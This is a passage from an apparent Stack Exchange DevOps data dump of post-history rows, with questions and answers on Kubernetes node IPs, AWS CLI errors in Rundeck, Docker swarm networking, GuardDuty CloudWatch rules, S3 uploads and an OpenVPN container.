nmap localhost -p&#xD;&#xA;    -&gt; meaningful output &#xD;&#xA;&#xD;&#xA;**How it does not work:**&#xD;&#xA;&#xD;&#xA;    # same commands as above give the output:&#xD;&#xA;    curl: (7) Failed to connect to localhost port ...&#xD;&#xA;    nmap: 1234/tcp closed unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11298" PostHistoryTypeId="2" PostId="3612" RevisionGUID="d634cc66-901d-4403-bddf-6007f0e5e07f" CreationDate="2018-03-12T09:39:57.437" UserId="6743" Text="The problem was that nodes, while registered with `kubeadm init` were providing their private IPs to the cluster master. This caused problems, because master was trying to reach `192.0.*.*` addresses which were not resolved as nodes from it's point of view.&#xD;&#xA;&#xD;&#xA;I needed to edit `/etc/systemd/system/kubelet.service.d/10-kubeadm.conf` and specify public ip of the node on `--node-ip=&lt;public-node-ip&gt;` parameter. The reload the service and restart it as mentioned in https://github.com/kubernetes/kubeadm/issues/203#issuecomment-335416377&#xD;&#xA;&#xD;&#xA;Then I registered nodes again and everything was working fine." ContentLicense="CC BY-SA 3.0" />
  <row Id="11299" PostHistoryTypeId="34" PostId="3514" RevisionGUID="96dc4eb5-934c-4715-838b-47e48cc42f85" CreationDate="2018-03-12T09:40:35.867" UserId="6743" Comment="16" />
  <row Id="11300" PostHistoryTypeId="5" PostId="3612" RevisionGUID="e4982420-55a6-4d61-b0cb-d99df0b51fd6" CreationDate="2018-03-12T09:46:40.943" UserId="6743" Comment="edited body" Text="The problem was that nodes, while registered with `kubeadm init` were providing their private IPs to the cluster master. This caused problems, because master was trying to reach `192.0.*.*` addresses which were not resolved as nodes from it's point of view.&#xD;&#xA;&#xD;&#xA;I needed to edit `/etc/systemd/system/kubelet.service.d/10-kubeadm.conf` and specify public IP of the node on `--node-ip=&lt;public-node-ip&gt;` parameter. The reload the service and restart it as mentioned in https://github.com/kubernetes/kubeadm/issues/203#issuecomment-335416377&#xD;&#xA;&#xD;&#xA;Then I registered nodes again and everything was working fine." ContentLicense="CC BY-SA 3.0" />
  <row Id="11308" PostHistoryTypeId="19" PostId="3266" RevisionGUID="79d0f0c0-e7a0-4da4-9d7f-18936c8b1a14" CreationDate="2018-03-12T12:37:01.007" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]}" />
  <row Id="11313" PostHistoryTypeId="2" PostId="3616" RevisionGUID="9956d91c-bb57-4a6f-a527-965d461ee416" CreationDate="2018-03-12T12:41:11.653" UserId="6523" Text="From terminal all works fine, botocore is installed&#xD;&#xA;&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;          File &quot;/bin/aws&quot;, line 19, in &lt;module&gt;&#xD;&#xA;            import awscli.clidriver&#xD;&#xA;          File &quot;/usr/lib/python2.7/site-packages/awscli/clidriver.py&quot;, line 17, in &lt;module&gt;&#xD;&#xA;            import botocore.session&#xD;&#xA;        ImportError: No module named botocore.session&#xD;&#xA;&#xD;&#xA;     pip install botocore&#xD;&#xA;    Requirement already satisfied: botocore in /root/.local/lib/python2.7/site-packages&#xD;&#xA;    Requirement already satisfied: jmespath&lt;1.0.0,&gt;=0.7.1 in /root/.local/lib/python2.7/site-packages (from botocore)&#xD;&#xA;    Requirement already satisfied: docutils&gt;=0.10 in /root/.local/lib/python2.7/site-packages (from botocore)&#xD;&#xA;    Requirement already satisfied: python-dateutil&lt;3.0.0,&gt;=2.1 in /usr/lib/python2.7/site-packages (from botocore)&#xD;&#xA;    Requirement already satisfied: six&gt;=1.5 in /root/.local/lib/python2.7/site-packages (from python-dateutil&lt;3.0.0,&gt;=2.1-&gt;botocore)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11314" PostHistoryTypeId="1" PostId="3616" RevisionGUID="9956d91c-bb57-4a6f-a527-965d461ee416" CreationDate="2018-03-12T12:41:11.653" UserId="6523" Text="Unable to run AWS CLI commands from Rundeck-No module named botocore.session" ContentLicense="CC BY-SA 3.0" />
  <row Id="11315" PostHistoryTypeId="3" PostId="3616" RevisionGUID="9956d91c-bb57-4a6f-a527-965d461ee416" CreationDate="2018-03-12T12:41:11.653" UserId="6523" Text="&lt;python&gt;&lt;rundeck&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11316" PostHistoryTypeId="5" PostId="1202" RevisionGUID="29725d59-3751-4537-a279-5b4ad4987a56" CreationDate="2018-03-12T13:52:19.723" UserId="2449" Comment="Change site comparison to bullet points" Text="###  Aside from pricing model, the two sites are identical.&#xD;&#xA;&#xD;&#xA;- [travis-ci.org][1] is a free service for public open source projects.&#xD;&#xA;- [travis-ci.com][2] is a paid service for private commercial projects.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;[From the FAQ page for Travis Pro][3]&#xD;&#xA;&#xD;&#xA;&gt; ### Why can’t I find information on pricing on travis-ci.org?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Travis CI is, and always will be, free for open source projects.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For a list of plans and prices for private repositories, look at&#xD;&#xA;&gt; [travis-ci.com/plans][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://travis-ci.org/&#xD;&#xA;  [2]: https://travis-ci.com/&#xD;&#xA;  [3]: https://docs.travis-ci.com/user/travis-pro/#Why-can%E2%80%99t-I-find-information-on-pricing-on-travis-ci.org%3F&#xD;&#xA;  [4]: https://travis-ci.com/plans" ContentLicense="CC BY-SA 3.0" />
  <row Id="11326" PostHistoryTypeId="5" PostId="3616" RevisionGUID="7f1b6527-034e-44a1-9841-6d88a4a5f74f" CreationDate="2018-03-12T17:31:58.670" UserId="6523" Comment="added 323 characters in body" Text="From terminal all works fine, botocore is installed&#xD;&#xA;&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;          File &quot;/bin/aws&quot;, line 19, in &lt;module&gt;&#xD;&#xA;            import awscli.clidriver&#xD;&#xA;          File &quot;/usr/lib/python2.7/site-packages/awscli/clidriver.py&quot;, line 17, in &lt;module&gt;&#xD;&#xA;            import botocore.session&#xD;&#xA;        ImportError: No module named botocore.session&#xD;&#xA;&#xD;&#xA;     pip install botocore&#xD;&#xA;    Requirement already satisfied: botocore in /root/.local/lib/python2.7/site-packages&#xD;&#xA;    Requirement already satisfied: jmespath&lt;1.0.0,&gt;=0.7.1 in /root/.local/lib/python2.7/site-packages (from botocore)&#xD;&#xA;    Requirement already satisfied: docutils&gt;=0.10 in /root/.local/lib/python2.7/site-packages (from botocore)&#xD;&#xA;    Requirement already satisfied: python-dateutil&lt;3.0.0,&gt;=2.1 in /usr/lib/python2.7/site-packages (from botocore)&#xD;&#xA;    Requirement already satisfied: six&gt;=1.5 in /root/.local/lib/python2.7/site-packages (from python-dateutil&lt;3.0.0,&gt;=2.1-&gt;botocore)&#xD;&#xA;env:&#xD;&#xA;&#xD;&#xA;    SUDO_USER=ja&#xD;&#xA;    SUDO_UID=1000&#xD;&#xA;    USERNAME=root&#xD;&#xA;    PATH=/sbin:/bin:/usr/sbin:/usr/bin&#xD;&#xA;    MAIL=/var/spool/mail/ja&#xD;&#xA;    PWD=/tmp&#xD;&#xA;    LANG=en_US.UTF-8&#xD;&#xA;    SHLVL=1&#xD;&#xA;    SUDO_COMMAND=/bin/su&#xD;&#xA;    HOME=/root&#xD;&#xA;    LOGNAME=root&#xD;&#xA;    LESSOPEN=||/usr/bin/lesspipe.sh %s&#xD;&#xA;    SUDO_GID=1000&#xD;&#xA;    _=/bin/env&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11327" PostHistoryTypeId="2" PostId="3619" RevisionGUID="3bf79bc9-368e-402c-b878-4e41895b88a5" CreationDate="2018-03-12T23:08:11.423" UserId="6775" Text="For using kube-lego you can follow this step:&#xD;&#xA;&#xD;&#xA;Visit https://github.com/jetstack/kube-lego/tree/master/examples/gce and follow instructions to have a kube-lego namespace working.&#xD;&#xA;&#xD;&#xA;Create an ingress like this:&#xD;&#xA;&#xD;&#xA;        apiVersion: extensions/v1beta1&#xD;&#xA;        kind: Ingress&#xD;&#xA;        metadata:&#xD;&#xA;          name: app-ingress&#xD;&#xA;          annotations:&#xD;&#xA;            kubernetes.io/tls-acme: &quot;true&quot;&#xD;&#xA;            kubernetes.io/ingress.class: &quot;gce&quot;&#xD;&#xA;        spec:&#xD;&#xA;          backend:&#xD;&#xA;            serviceName: backend-service&#xD;&#xA;            servicePort: 80&#xD;&#xA;          tls:&#xD;&#xA;          - hosts:&#xD;&#xA;            - example.com&#xD;&#xA;            - api.example.com&#xD;&#xA;            secretName: app-ingress-tls&#xD;&#xA;          rules:&#xD;&#xA;          - host: example.com&#xD;&#xA;            http:&#xD;&#xA;              path:&#xD;&#xA;              - path: /*&#xD;&#xA;                backend:&#xD;&#xA;                  serviceName: backend-service&#xD;&#xA;                  servicePort: 443&#xD;&#xA;          - host: api.example.com&#xD;&#xA;            http:&#xD;&#xA;              path:&#xD;&#xA;              - path: /*&#xD;&#xA;                backend:&#xD;&#xA;                  serviceName: backend-service&#xD;&#xA;                  servicePort: 443&#xD;&#xA;&#xD;&#xA;  remember to replace backend-service with your own service name and exampl.com with your domain.&#xD;&#xA;&#xD;&#xA;   You can put as more host sections as you need, each host section should be associated with a domain on the tls section.&#xD;&#xA;&#xD;&#xA;Use the app-ingress-tls secret to mount as a volume on your service." ContentLicense="CC BY-SA 3.0" />
  <row Id="11329" PostHistoryTypeId="2" PostId="3620" RevisionGUID="7c07c2df-bf7c-438d-9942-978f8540d8ea" CreationDate="2018-03-13T08:17:34.317" UserId="6523" Text="Managed to get rid of error by &#xD;&#xA;&#xD;&#xA;    pip install awscli --force-reinstall --upgrade&#xD;&#xA;    aws configure set aws_access_key_id default_access_key&#xD;&#xA;    aws configure set aws_secret_access_key default_secret_key&#xD;&#xA;    aws configure set default.region us-west-2&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="11331" PostHistoryTypeId="5" PostId="3542" RevisionGUID="c6dbee43-5879-4b8c-a3bd-bd2b46c970e7" CreationDate="2018-03-13T11:24:07.367" UserId="6769" Comment="Narrowed down the problem space" Text="I have the following setup for my docker swarm:&#xD;&#xA;&#xD;&#xA; - three Linux master nodes&#xD;&#xA; - one Linux slave nodes&#xD;&#xA; - Windows slave node&#xD;&#xA;&#xD;&#xA;They are connected with an overlay network. Within the linux nodes everything works as expected.&#xD;&#xA;&#xD;&#xA;But if I'm in a windows container(e.g. microsoft/nanoserver) and I try to ping a linux container with the internal dns name of the container. The DNS resolution works just fine, but the request times out. So far so bad. But it's getting stranger, because my linux container has two IP-addresses one is global loopback and another one which is in the same network. &#xD;&#xA;&#xD;&#xA;Let's say the linux container has xx.xx.xx.2/32 as global lo and xx.xx.xx.3/24. &#xD;&#xA;The internal dns resolves to the ip xx.xx.xx.2. This cannot be pinged from windows containers. But the address xx.xx.xx.3 can be pinged.&#xD;&#xA;If I'm in a linux container, I can ping the xx.xx.xx.2 address. I also can curl the service(port 8080) of the windows container, within a linux container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It's just weird. Has anyone experienced similar issues or can I manipulate the internal dns resolution of docker?&#xD;&#xA;&#xD;&#xA;Also fun to note, it worked earlier. But after a swarm leave and join of the windows node it doesn't anymore.&#xD;&#xA;&#xD;&#xA;Versions:&#xD;&#xA;&#xD;&#xA; - Windows Server 2016 - Docker version 17.06.2-ee-6, build e75fdb8&#xD;&#xA; - RedHat 7.4 (Maipo) - Docker version 17.12.0-ce, build c97c6d6&#xD;&#xA;&#xD;&#xA;UPDATE:&#xD;&#xA; The windows node cannot reach a container which runs on the linux slave node all other containers can be pinged normally, but from the linux master nodes it is possible to ping the containers which run on the linux slave nodes." ContentLicense="CC BY-SA 3.0" />
  <row Id="11337" PostHistoryTypeId="2" PostId="3622" RevisionGUID="f873af9b-d068-4962-89fc-285ef3257c62" CreationDate="2018-03-13T15:02:23.700" UserId="2729" Text="I want to edit my CloudWatch rule so that it only triggers an SNS topic for &quot;GuardDuty findings&quot; that fall in the *High severy* range, defined by AWS as `the value of the severity parameter in the GetFindings response falls within the 7.0 to 8.9 range`.&#xD;&#xA;&#xD;&#xA;The sample Event Pattern in the documentation  only shows how to create a trigger for severities 5 and 8 as follows:&#xD;&#xA;&#xD;&#xA;`{&#xD;&#xA;  &quot;source&quot;: [ &quot;aws.guardduty&quot; ],&#xD;&#xA;  &quot;detail-type&quot;: [ &quot;GuardDuty Finding&quot; ],&#xD;&#xA;  &quot;detail&quot;: {  &quot;severity&quot;: [ 5, 8 ]  }&#xD;&#xA;}`&#xD;&#xA;&#xD;&#xA;How do I change this  `{  &quot;severity&quot;: [ 5, 8 ]  }` to be a range between 7.0 to 8.9?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11338" PostHistoryTypeId="1" PostId="3622" RevisionGUID="f873af9b-d068-4962-89fc-285ef3257c62" CreationDate="2018-03-13T15:02:23.700" UserId="2729" Text="CloudWatch trigger for a range of GuardDuty severities" ContentLicense="CC BY-SA 3.0" />
  <row Id="11339" PostHistoryTypeId="3" PostId="3622" RevisionGUID="f873af9b-d068-4962-89fc-285ef3257c62" CreationDate="2018-03-13T15:02:23.700" UserId="2729" Text="&lt;amazon-cloudwatch&gt;&lt;amazon-guardduty&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11340" PostHistoryTypeId="2" PostId="3623" RevisionGUID="01218182-db49-4099-b0e2-b81e8b8380a1" CreationDate="2018-03-13T15:14:28.447" UserId="2729" Text="Have a look at [this page][1] which documents `EnvironmentBrowser` for clues of which setting to edit.&#xD;&#xA;&#xD;&#xA;Possibly something has a **relative path that is now modified**, or a **resource that's fully used up** or no longer available (or no longer valid, but that makes little sense if it's the same VM host).&#xD;&#xA;&#xD;&#xA;  [1]: https://code.vmware.com/apis/217/vsan#/doc/vim.EnvironmentBrowser.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="11341" PostHistoryTypeId="5" PostId="3622" RevisionGUID="541d2ab2-c5d8-47d5-a6cd-e6c4ef6b7d7f" CreationDate="2018-03-13T15:20:40.500" UserId="47" Comment="improved formatting" Text="I want to edit my CloudWatch rule so that it only triggers an SNS topic for &quot;GuardDuty findings&quot; that fall in the *High severy* range, defined by AWS as `the value of the severity parameter in the GetFindings response falls within the 7.0 to 8.9 range`.&#xD;&#xA;&#xD;&#xA;The sample Event Pattern in the documentation  only shows how to create a trigger for severities 5 and 8 as follows:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;source&quot;: [ &quot;aws.guardduty&quot; ],&#xD;&#xA;      &quot;detail-type&quot;: [ &quot;GuardDuty Finding&quot; ],&#xD;&#xA;      &quot;detail&quot;: {  &quot;severity&quot;: [ 5, 8 ]  }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How do I change this  `{  &quot;severity&quot;: [ 5, 8 ]  }` to be a range between 7.0 to 8.9?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11344" PostHistoryTypeId="2" PostId="3624" RevisionGUID="823ec66b-470c-445a-a3b5-9c7143e94b68" CreationDate="2018-03-13T16:08:41.620" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11345" PostHistoryTypeId="1" PostId="3624" RevisionGUID="823ec66b-470c-445a-a3b5-9c7143e94b68" CreationDate="2018-03-13T16:08:41.620" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11346" PostHistoryTypeId="2" PostId="3625" RevisionGUID="6ca9919c-767d-443a-93b8-43997f705c38" CreationDate="2018-03-13T16:08:41.620" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11347" PostHistoryTypeId="1" PostId="3625" RevisionGUID="6ca9919c-767d-443a-93b8-43997f705c38" CreationDate="2018-03-13T16:08:41.620" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11348" PostHistoryTypeId="5" PostId="3620" RevisionGUID="7a19dd67-accd-48e3-926e-07e66a266b24" CreationDate="2018-03-13T16:49:31.343" UserId="6523" Comment="added 24 characters in body" Text="Managed to get rid of error by &#xD;&#xA;&#xD;&#xA;    pip install awscli --force-reinstall --upgrade&#xD;&#xA;&#xD;&#xA;then from rundeck interface:&#xD;&#xA;&#xD;&#xA;    aws configure set aws_access_key_id default_access_key&#xD;&#xA;    aws configure set aws_secret_access_key default_secret_key&#xD;&#xA;    aws configure set default.region us-west-2&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11349" PostHistoryTypeId="2" PostId="3626" RevisionGUID="dde4a41a-b317-469a-9516-14b64d0a3c50" CreationDate="2018-03-13T17:45:12.767" UserId="6901" Text="My company is moving from an architecture of &quot;many projects on a single webserver&quot; to a kubernetes cluster with multiple different hosted web applications in a single cluster.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In order to make integration of new customers easy, I want an UI to clone a 'template' code repository and give it a new life. When creating a new client from this interface, it would also create a kubernetes deployment in a staging cluster, clone a database and possibly do other automated tasks.&#xD;&#xA;&#xD;&#xA;I thought of rolling my own interface that would manage my kubernetes deployments so I could tailor it exactly to the requirements, then I looked up gitlab and figured somebody was probably doing just that already.&#xD;&#xA;&#xD;&#xA;Having never used gitlab, would it suit my use case ?&#xD;&#xA;&#xD;&#xA;Once the initial setup is done, I would actually use it for it's intended purpose so I know it'll be good for that at least. &#xD;&#xA;&#xD;&#xA;Question2, can I edit kubernetes deployment configs from gitlab, such as changing replica count or RAM limit while it's running ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11350" PostHistoryTypeId="1" PostId="3626" RevisionGUID="dde4a41a-b317-469a-9516-14b64d0a3c50" CreationDate="2018-03-13T17:45:12.767" UserId="6901" Text="Should I build my own pipeline or use gitlab for kubernetes" ContentLicense="CC BY-SA 3.0" />
  <row Id="11351" PostHistoryTypeId="3" PostId="3626" RevisionGUID="dde4a41a-b317-469a-9516-14b64d0a3c50" CreationDate="2018-03-13T17:45:12.767" UserId="6901" Text="&lt;kubernetes&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11352" PostHistoryTypeId="5" PostId="3550" RevisionGUID="697b5119-6339-4926-9ec4-b059faa3cca3" CreationDate="2018-03-13T17:49:56.740" UserId="6618" Comment="fixed my wrong assumption" Text="&lt;S&gt;I think Windows Server 2016 needs at least 17.09 Docker EE to support overlay networking and VIP's. I [recommend updating it][1].&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;I was wrong, the latest version is indeed `17.06.2-ee-6` and should support overlay and VIP.&#xD;&#xA;&#xD;&#xA;Also, you [want a minimum of 3 manager nodes][2] to follow raft consensus rules in a Swarm. 2 managers actually makes it less fault-tolerant then 1 manager.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/install/windows/docker-ee/#update-docker-ee&#xD;&#xA;  [2]: https://docs.docker.com/engine/swarm/admin_guide/#add-manager-nodes-for-fault-tolerance" ContentLicense="CC BY-SA 3.0" />
  <row Id="11353" PostHistoryTypeId="6" PostId="3626" RevisionGUID="8b850d9f-a42b-42b4-a584-51564882434a" CreationDate="2018-03-13T17:51:57.483" UserId="6901" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;gitlab&gt;&lt;software-recommendation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11357" PostHistoryTypeId="2" PostId="3628" RevisionGUID="e42bac2f-2dff-407d-bf22-0b195ad920f6" CreationDate="2018-03-13T18:28:27.570" UserId="6904" Text="This issue is resolved.  Robocopy has a lot of smart features and functions that allow it to check and see if the files being copied are actually different.  Unfortunately that comparison is where the time is really going.  Once we changed the script to delete the files from the destination folder first (every time) - we should have a repeatable process that runs in ~10-15 seconds. " ContentLicense="CC BY-SA 3.0" />
  <row Id="11358" PostHistoryTypeId="5" PostId="3550" RevisionGUID="df5702ac-661b-43f3-8bf7-6a590890c154" CreationDate="2018-03-13T18:42:17.850" UserId="6618" Comment="added more info and fixed error" Text="&lt;S&gt;I think Windows Server 2016 needs at least 17.09 Docker EE to support overlay networking and VIP's. I [recommend updating it][1].&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;I was wrong, the latest version is indeed `17.06.2-ee-6` and should support overlay and VIP.&#xD;&#xA;&#xD;&#xA;Second, ping isn't a good test, as it may not be available on the VIP or container IP depending on the setup (Docker has changed over time if the VIP does or does not respond to ping). I recommend using something that tests the Exposed container port, like curl. For testing you can just use something like bretfisher/netshoot which has common utilities like that installed.&#xD;&#xA;&#xD;&#xA;Third, you could be resolving Swarm services on the network using the service name, not the internal hostname of containers. Depending on which network endpoint mode you use (VIP or DNSRR) in the service, this will resolve the correct VIP or the correct container IP for other containers on the same Docker network.&#xD;&#xA;&#xD;&#xA;Also, you [want a minimum of 3 manager nodes][2] to follow raft consensus rules in a Swarm. 2 managers actually makes it less fault-tolerant then 1 manager.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/install/windows/docker-ee/#update-docker-ee&#xD;&#xA;  [2]: https://docs.docker.com/engine/swarm/admin_guide/#add-manager-nodes-for-fault-tolerance" ContentLicense="CC BY-SA 3.0" />
  <row Id="11359" PostHistoryTypeId="2" PostId="3629" RevisionGUID="9257a741-f637-41bd-a68d-57026a73fe1f" CreationDate="2018-03-13T21:25:05.340" UserId="323" Text="I'm going through [some steps](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/upload-objects.html) to get my ova into S3. Seems like a waste of time for me to download it and then upload it, is there a mechanism to import an S3 object from a web resource? &#xD;&#xA;&#xD;&#xA;I have a UCS Director job that builds OVAs for me, uploads them to a Cassandra big data cluster and serves out obfuscated links for me and customers to download them - I'd like to provide said obfuscated link to AWS instead of downloading it on my computer and uploading it to S3.  In the end, I think I could just make my images go straight from UCS Director to AWS, but for the time being, I'd like to save a step. &#xD;&#xA;&#xD;&#xA;FWIW, I'm downloading it now, but figured I'd ask the question while I watch the bar go across the screen. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11360" PostHistoryTypeId="1" PostId="3629" RevisionGUID="9257a741-f637-41bd-a68d-57026a73fe1f" CreationDate="2018-03-13T21:25:05.340" UserId="323" Text="Is it possible to load an image into S3 via a URL" ContentLicense="CC BY-SA 3.0" />
  <row Id="11361" PostHistoryTypeId="3" PostId="3629" RevisionGUID="9257a741-f637-41bd-a68d-57026a73fe1f" CreationDate="2018-03-13T21:25:05.340" UserId="323" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11362" PostHistoryTypeId="2" PostId="3630" RevisionGUID="1f8a7359-b2dd-4a81-81b3-50d3264dab76" CreationDate="2018-03-13T22:41:07.820" UserId="210" Text="One could just run `kubectl apply -f &lt;file&gt;`. When one updates an app, one could just run this command. A CI is basically able to run scripts. As gitlab is just a CI and a git repository one could just run kubectl in a gitlab-ci.yml pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="11364" PostHistoryTypeId="2" PostId="3632" RevisionGUID="2b83d744-21c0-422a-99ee-e2c04c77659b" CreationDate="2018-03-13T23:24:25.570" UserId="47" Text="Nope, credit goes to this SO answer, still valid today: [How to upload files directly to Amazon S3 from a remote server?][1].&#xD;&#xA;&#xD;&#xA;But if you have a server in the cloud, ideally in AWS, it'll probably go faster to execute the copy operations on that server - higher bandwidth and lower latency to/from such server when compared to your computer.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/10495195/4495081" ContentLicense="CC BY-SA 3.0" />
  <row Id="11365" PostHistoryTypeId="2" PostId="3633" RevisionGUID="1cb62559-a93d-4494-ac12-b519f7bcd13a" CreationDate="2018-03-14T02:48:22.630" UserId="6910" Text="I'm kinda new to this Docker thing and I'm interested in getting a biffed up VPS for some containers (websites/data, mysql, nginx, rocket.chat, etc) but I wouldn't like to access them in the wild (even through SSH) and some VPS hosts's console access are plain cumbersome. So, here's my question:&#xD;&#xA;&#xD;&#xA;I've got around 3 separate VPS sharing a common network: 10.0.0.1 thru 10. I'd like to know if, in the host (10.0.0.5) I can set up a docker server, then, inside I can set up an OpenVPN container (or any other kind of VPN) so I can connect from outside to the other VPSes (10.0.0.3, 10.0.0.8, and so on).&#xD;&#xA;&#xD;&#xA;Bear in mind that I'm not looking for a privacy-related VPN, I don't want to route traffic nor go outside with the VPS's IP, I just want to &quot;get inside&quot; the internal network I have shared with my VPS (Vultr in case you're wondering, they have a private IPv4 service only for the VMs in my account so it's safe for them) through a VPN for added security and commodity, so I can access a few hosts naturally (and maybe containers as well?) using SSH/RDP/etc. with a single connection instead of having 10 profiles in PuTTY for each server.&#xD;&#xA;&#xD;&#xA;Any pointers would be greatly appreciated. Please also take note I'm a newbie regarding docker, I'm a developer &amp; IT guy so I know my way around, but I don't have much idea about networking so I'm not sure if it's possible - and if it is, then can you please tell me how?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="11366" PostHistoryTypeId="1" PostId="3633" RevisionGUID="1cb62559-a93d-4494-ac12-b519f7bcd13a" CreationDate="2018-03-14T02:48:22.630" UserId="6910" Text="VPN container providing access to host's LAN?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11367" PostHistoryTypeId="3" PostId="3633" RevisionGUID="1cb62559-a93d-4494-ac12-b519f7bcd13a" CreationDate="2018-03-14T02:48:22.630" UserId="6910" Text="&lt;docker&gt;&lt;containers&gt;&lt;networking&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11369" PostHistoryTypeId="2" PostId="3635" RevisionGUID="bcd58533-2776-418a-8d5d-b8370448b1bc" CreationDate="2018-03-14T11:33:37.463" UserId="5922" Text="I am accessing my home network with a VPN running in a docker container in my home server.&#xD;&#xA;&#xD;&#xA;That sounds similar to what you want to do.&#xD;&#xA;&#xD;&#xA;I wrote an article about setting that up, https://thealarmclocksixam.com/2017/03/07/setup-your-vpn-in-docker-with-openvpn-in-5-minutes/, I hope it's not a problem if instead of copy-pasting it, I just post the link.&#xD;&#xA;&#xD;&#xA;Hope this can help." ContentLicense="CC BY-SA 3.0" />
  <row Id="11370" PostHistoryTypeId="2" PostId="3636" RevisionGUID="2c910c4c-4265-494c-aeed-c890bee2e4f8" CreationDate="2018-03-14T12:00:03.470" UserId="2729" Text="&lt;sup&gt;Here's the answer I got from AWS Support, slightly edited. (I would downvote them, if I could).&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;By design, CloudWatch events do not support ranges, so you need to explicitly set the values that are in that range. Additionally, the console has an issue that we are currently addressing, regarding the **.0** values. &#xD;&#xA;&#xD;&#xA;So, the way to achieve this at the moment is only via the [CLI][1]. For more information regarding the CLI command, you can read [this documentation][2].&#xD;&#xA;&#xD;&#xA;The workaround is this: &#xD;&#xA;&#xD;&#xA; 1. Create the rule through the console by selecting as a service name : Guard Duty and as an Event type: Gard duty finding.&#xD;&#xA; 2. Add the targets&#xD;&#xA; 3. Configure details&#xD;&#xA; 4. Use the AWS CLI to run the following command. I took the initiative and added all the values in the range you mentioned. You can change it if needed:&#xD;&#xA;&#xD;&#xA;`aws events put-rule --name Test --event-pattern &quot;{\&quot;source\&quot;:[\&quot;aws.guardduty\&quot;],\&quot;detail-type\&quot;:[\&quot;GuardDuty Finding\&quot;],\&quot;detail\&quot;:{\&quot;severity\&quot;:[7.0,7.1,7.2,7.3,7.4,7.5,7.6,7.7,7.8,7.9,8.0,8.1,8.2,8.3,8.4,8.5,8.6,8.7,8.8,8.9]}}&quot;`&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;In case you need further assistance regarding the above please let me know.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Best regards,&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Amazon Web Services&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/cli/&#xD;&#xA;  [2]: https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_findings_cloudwatch.html#guardduty_cloudwatch_example&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11371" PostHistoryTypeId="5" PostId="3635" RevisionGUID="47538156-ed54-42ca-83df-83bca7f2933e" CreationDate="2018-03-14T12:55:32.233" UserId="5922" Comment="Copy-pasted content from blog post" Text="I am accessing my home network with a VPN running in a docker container in my home server.&#xD;&#xA;&#xD;&#xA;That sounds similar to what you want to do.&#xD;&#xA;&#xD;&#xA;Here's how I configured it (using [this docker image][1] - note that the documentation of the docker image should be enough)&#xD;&#xA;&#xD;&#xA; 1. Use a “convenience” environment variable to store the path to your persistent storage location that will be bind-mounted to the container.&#xD;&#xA;&#xD;&#xA;        OVPN_DATA=&quot;/n7wings/openvpn/&quot;&#xD;&#xA;&#xD;&#xA; 1. Run an ephemeral instance (–rm) of the image to initialize the data directory of the container (ovpn-host should be the hostname of your openvpn server)&#xD;&#xA;&#xD;&#xA;        docker run -v $OVPN_DATA:/etc/openvpn --rm kylemanna/openvpn ovpn_genconfig -u udp://ovpn-host&#xD;&#xA;&#xD;&#xA; 1. Run an interactive ephemeral instance of the image to generate the opevnpn CA certificate and server key (you will have to type your passphrase for the private key) &#xD;&#xA;&#xD;&#xA;        docker run -v $OVPN_DATA:/etc/openvpn --rm -it kylemanna/openvpn 